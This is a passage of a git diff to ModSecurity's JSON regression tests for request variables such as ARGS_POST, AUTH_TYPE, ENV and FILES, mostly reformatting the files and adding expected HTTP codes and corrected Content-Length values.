"headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"param2\"" + "expected": { + "debug_log": "Target value: \"param2\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS_NAMES \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS_POST_NAMES (3/x)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=0000", - "Expect":"100-continue" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS_POST_NAMES (3/x)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "142", + "Content-Type": "multipart/form-data; boundary=0000", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ - "--0000\r", - "Content-Disposition: form-data; name=\"name1\"\r", - "\r", - "content1\r", - "--0000\r", - "Content-Disposition: form-data; name=\"name2\"\r", - "\r", - "content2\r", - "--0000--\r" + "uri": "/", + "method": "POST", + "body": [ + "--0000\r\n", + "Content-Disposition: form-data; name=\"name1\"\r\n", + "\r\n", + "content1\r\n", + "--0000\r\n", + "Content-Disposition: form-data; name=\"name2\"\r\n", + "\r\n", + "content2\r\n", + "--0000--\r\n" ] }, - "response":{ - "headers":{ - "Content-Type":"text/html" + "response": { + "headers": { + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"name1\" \\(Variable: ARGS_NAMES:name1\\)" + "expected": { + "debug_log": "Target value: \"name1\" \\(Variable: ARGS_NAMES:name1\\)", + "http_code": 200 }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule ARGS_NAMES \"@contains test \" \"id:1,phase:3,pass,t:trim\"" + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule ARGS_NAMES \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] } ] - diff --git a/test/test-cases/regression/variable-ARGS_POST.json b/test/test-cases/regression/variable-ARGS_POST.json index 4b9972cadf..c079a8bd0e 100644 --- a/test/test-cases/regression/variable-ARGS_POST.json +++ b/test/test-cases/regression/variable-ARGS_POST.json @@ -1,135 +1,140 @@ -[ +[ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS_POST (1/3)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS_POST (1/3)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"value1\"" + "expected": { + "debug_log": "Target value: \"value1\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS_POST \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS_POST (2/3)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS_POST (2/3)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"value2\"" + "expected": { + "debug_log": "Target value: \"value2\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS_POST \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS_POST (3/3)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS_POST (3/3)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "35", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=¶m3=value3" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"0\"" + "expected": { + "debug_log": "Target value: \"0\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS_POST:param2 \"0\" \"id:1,phase:2,pass,t:none,t:length\"" ] } ] - diff --git a/test/test-cases/regression/variable-ARGS_POST_NAMES.json b/test/test-cases/regression/variable-ARGS_POST_NAMES.json index e414c8763b..28ac8e1a99 100644 --- a/test/test-cases/regression/variable-ARGS_POST_NAMES.json +++ b/test/test-cases/regression/variable-ARGS_POST_NAMES.json @@ -1,195 +1,202 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS_POST_NAMES (1/x)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS_POST_NAMES (1/x)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"param1\"" + "expected": { + "debug_log": "Target value: \"param1\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS_POST_NAMES \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS_POST_NAMES (2/x)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS_POST_NAMES (2/x)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"param2\"" + "expected": { + "debug_log": "Target value: \"param2\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS_POST_NAMES \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS_POST_NAMES (3/x)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=0000", - "Expect":"100-continue" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS_POST_NAMES (3/x)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "142", + "Content-Type": "multipart/form-data; boundary=0000", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ - "--0000\r", - "Content-Disposition: form-data; name=\"name1\"\r", - "\r", - "content1\r", - "--0000\r", - "Content-Disposition: form-data; name=\"name2\"\r", - "\r", - "content2\r", - "--0000--\r" + "uri": "/", + "method": "POST", + "body": [ + "--0000\r\n", + "Content-Disposition: form-data; name=\"name1\"\r\n", + "\r\n", + "content1\r\n", + "--0000\r\n", + "Content-Disposition: form-data; name=\"name2\"\r\n", + "\r\n", + "content2\r\n", + "--0000--\r\n" ] }, - "response":{ - "headers":{ - "Content-Type":"text/html" + "response": { + "headers": { + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"name1\" \\(Variable: ARGS_POST_NAMES:name1\\)" + "expected": { + "debug_log": "Target value: \"name1\" \\(Variable: ARGS_POST_NAMES:name1\\)", + "http_code": 200 }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule ARGS_POST_NAMES \"@contains test \" \"id:1,phase:3,pass,t:trim\"" + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule ARGS_POST_NAMES \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS_POST_NAMES (3/x)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=0000", - "Expect":"100-continue" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS_POST_NAMES (3/x)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "142", + "Content-Type": "multipart/form-data; boundary=0000", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ - "--0000\r", - "Content-Disposition: form-data; name=\"name1\"\r", - "\r", - "content1\r", - "--0000\r", - "Content-Disposition: form-data; name=\"name2\"\r", - "\r", - "content2\r", - "--0000--\r" + "uri": "/", + "method": "POST", + "body": [ + "--0000\r\n", + "Content-Disposition: form-data; name=\"name1\"\r\n", + "\r\n", + "content1\r\n", + "--0000\r\n", + "Content-Disposition: form-data; name=\"name2\"\r\n", + "\r\n", + "content2\r\n", + "--0000--\r\n" ] }, - "response":{ - "headers":{ - "Content-Type":"text/html" + "response": { + "headers": { + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "error_log":"o0,5v206,5t:trim" + "expected": { + "error_log": "o0,5v206,5t:trim", + "http_code": 200 }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule ARGS_POST_NAMES \"@contains name1\" \"id:1,phase:3,pass,t:trim\"" + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule ARGS_POST_NAMES \"@contains name1\" \"id:1,phase:3,pass,t:trim\"" ] } ] - diff --git a/test/test-cases/regression/variable-AUTH_TYPE.json b/test/test-cases/regression/variable-AUTH_TYPE.json index 1eddd50dcc..e9e41f3561 100644 --- a/test/test-cases/regression/variable-AUTH_TYPE.json +++ b/test/test-cases/regression/variable-AUTH_TYPE.json @@ -1,93 +1,96 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: AUTH_TYPE", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: AUTH_TYPE", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded", "Authorization": "Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"Basic\"" + "expected": { + "debug_log": "Target value: \"Basic\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule AUTH_TYPE \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: AUTH_TYPE", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: AUTH_TYPE", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded", "AuThOrIzAtIoN": "Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"Basic\"" + "expected": { + "debug_log": "Target value: \"Basic\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule AUTH_TYPE \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] } ] - diff --git a/test/test-cases/regression/variable-DURATION.json b/test/test-cases/regression/variable-DURATION.json index 2f20d17f18..adcc6583cd 100644 --- a/test/test-cases/regression/variable-DURATION.json +++ b/test/test-cases/regression/variable-DURATION.json @@ -1,45 +1,47 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: AUTH_TYPE", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: AUTH_TYPE", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded", "Authorization": "Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"[0-9\\.]+\"" + "expected": { + "debug_log": "Target value: \"[0-9\\.]+\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule DURATION \"@contains test \" \"id:1,phase:3,pass,t:trim\"", "SecRule DURATION \"@contains test \" \"id:2,phase:3,pass,t:trim\"", @@ -47,4 +49,3 @@ ] } ] - diff --git a/test/test-cases/regression/variable-ENV.json b/test/test-cases/regression/variable-ENV.json index c890b95c59..854080510c 100644 --- a/test/test-cases/regression/variable-ENV.json +++ b/test/test-cases/regression/variable-ENV.json @@ -1,180 +1,187 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ENV (1/4)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ENV (1/4)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Variable: ENV:PATH" + "expected": { + "debug_log": "Variable: ENV:PATH", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ENV:PATH \"@contains test\" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ENV (2/4)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ENV (2/4)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"regression tests\" .Variable: ENV:MODSECURITY." + "expected": { + "debug_log": "regression tests\" .Variable: ENV:MODSECURITY.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ENV:MODSECURITY \"@contains test\" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ENV (3/4)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ENV (3/4)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"bar\" .Variable: ENV:modfoo." + "expected": { + "debug_log": "Target value: \"bar\" .Variable: ENV:modfoo.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS \"@contains value\" \"id:1,phase:3,pass,t:trim,setenv:modfoo=bar\"", "SecRule ENV:modfoo \"@contains test\" \"id:2,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ENV (4/4)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ENV (4/4)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Variable: ENV:PATH" + "expected": { + "debug_log": "Variable: ENV:PATH", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ENV \"@contains test\" \"id:1,phase:3,pass,t:trim\"" ] } ] - diff --git a/test/test-cases/regression/variable-FILES.json b/test/test-cases/regression/variable-FILES.json index 7f0f4dcf56..22f6dc4878 100644 --- a/test/test-cases/regression/variable-FILES.json +++ b/test/test-cases/regression/variable-FILES.json @@ -1,120 +1,283 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: FILES (1/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: FILES (1/5)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "531", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "----------------------------756b6d74fa1a8ee2--" + "uri": "/", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is another very small test file..\r\n", + "----------------------------756b6d74fa1a8ee2--\r\n" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"T \\(0\\) t:trim: \"small_text_file" + "expected": { + "debug_log": "T \\(0\\) t:trim: \"small_text_file", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule FILES \"@contains small_text_file.txt\" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: FILES (2/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: FILES (2/5)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + 